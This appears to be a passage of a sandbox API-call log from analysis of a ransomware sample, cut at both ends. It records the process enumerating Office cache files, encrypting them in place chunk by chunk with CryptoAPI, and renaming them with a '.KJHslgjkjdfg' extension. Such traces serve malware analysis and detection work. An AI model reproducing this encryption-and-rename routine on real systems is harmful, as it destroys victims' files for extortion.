RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0160.914] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0160.914] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.914] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0160.916] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0160.916] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0160.916] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0160.917] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0160.917] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0160.917] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0160.917] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.917] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0160.917] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.920] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0160.923] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.923] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0160.924] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.924] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0160.924] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0160.924] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.929] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0160.931] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.931] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0160.932] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.932] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0160.932] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0160.932] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.943] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0160.945] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.945] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0160.946] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.946] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0160.946] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.946] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.946] SetEndOfFile (hFile=0x124) returned 1 [0160.947] GetProcessHeap () returned 0x990000 [0160.947] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0160.947] GetProcessHeap () returned 0x990000 [0160.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0160.948] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.kjhslgjkjdfg")) returned 1 [0160.949] CloseHandle (hObject=0x124) returned 1 [0160.949] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0160.949] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0160.949] GetProcessHeap () returned 0x990000 [0160.949] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0160.949] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0160.949] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0160.950] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xc, lpOverlapped=0x0) returned 1 [0160.951] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0160.951] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.951] GetProcessHeap () returned 0x990000 [0160.951] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0160.951] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0160.951] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.951] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0160.951] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0160.952] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0160.952] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0160.952] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0160.952] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0160.952] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0160.952] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.952] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.952] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x41d4, lpOverlapped=0x0) returned 1 [0160.953] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x41e0, dwBufLen=0x41e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x41e0) returned 1 [0160.953] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.953] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x41e0, lpOverlapped=0x0) returned 1 [0160.953] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.953] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.953] SetEndOfFile (hFile=0x124) returned 1 [0160.954] GetProcessHeap () returned 0x990000 [0160.954] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0160.954] GetProcessHeap () returned 0x990000 [0160.954] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0160.954] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.kjhslgjkjdfg")) returned 1 [0160.958] CloseHandle (hObject=0x124) returned 1 [0160.958] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0160.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0160.959] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=177720283) returned 1 [0160.959] GetProcessHeap () returned 0x990000 [0160.959] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0160.959] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0160.960] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.960] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x5, lpOverlapped=0x0) returned 1 [0160.962] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0160.962] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.962] GetProcessHeap () returned 0x990000 [0160.962] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0160.962] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0160.962] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.962] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0160.962] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0160.962] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0160.962] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0160.962] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0160.962] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0160.962] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0160.962] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.962] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0160.962] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.967] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0160.971] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.971] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0160.972] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.972] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0160.972] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0160.973] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.978] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0160.981] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.981] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0160.982] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.982] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0160.982] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa93cbe0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0160.982] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.990] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0160.992] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa93cbe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.992] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0160.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.993] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0160.993] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.993] SetEndOfFile (hFile=0x124) returned 1 [0161.041] GetProcessHeap () returned 0x990000 [0161.041] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.041] GetProcessHeap () returned 0x990000 [0161.041] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.041] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.kjhslgjkjdfg")) returned 1 [0161.042] CloseHandle (hObject=0x124) returned 1 [0161.043] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0161.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.044] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=222948913) returned 1 [0161.044] GetProcessHeap () returned 0x990000 [0161.044] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.044] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.044] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.044] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0xf, lpOverlapped=0x0) returned 1 [0161.050] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.050] CryptSetKeyParam (hKey=0x9b64e8, 